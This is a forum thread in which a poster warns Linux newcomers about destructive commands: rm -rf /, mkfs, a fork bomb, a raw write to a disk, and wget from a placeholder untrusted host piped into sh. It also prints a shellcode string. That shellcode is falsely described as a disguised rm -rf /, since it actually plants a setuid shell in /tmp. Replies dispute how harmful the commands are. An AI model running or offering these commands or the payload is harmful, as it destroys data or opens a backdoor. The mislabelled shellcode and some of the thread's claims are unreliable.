If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.

1. Code:

rm -rf /

This command will recursively and forcefully delete all the files inside the root directory.

2. Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\ x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\ x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\ x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\ x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

3. Code:

mkfs.ext3 /dev/sda

This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.

4. Code:

:(){:|:&};:

Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.

5. Code:

any_command > /dev/sda

With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

6. Code:

wget http://some_untrusted_source -O- | sh

Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

7. Code:

mv /home/yourhomedirectory/* /dev/null

This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.

that was a good idea that will help a lot of people

thanks. this will help me.

sweet. that will help out alot.

Haha, yeah that was a pretty good idea to enlighten people of those.

somebody needs to ban this dude... He's necro posted in like 5 threads.

that and he named himself 'gray hat' but probably has no idea what that means.

ya i would of banned him but ishy has patients for these fools

I dont see one command there that will harm a unix like system run as s user. For the fact that anyone thats uses a unix like system knows to stay out of root. So this post is useless.

1: would show a shit load of errors and remove your home dir and tmp if lucky
2:same as one
3:haha im not even going to touch this one
4:This was fixed in kernel 2.4
5:wth... where did you find this
6:again any code run as user is useless to harm the system
7:I like this one, even tho it just moves the user dir. its the only one that made any sence.

Hrm, banned from a site that has people post threads just to either get highly criticized or threatened with being banned. Sounds like I would be losing out on a lot of nothing. And what does gray_hat mean? Are there other colors like pink hat or neon green hat? I'd really love to be enlightened by your 1337 minds!

there are 3 types of hackers

white hat
black hat
and gray hat

apparently you didn't know that when you signed up...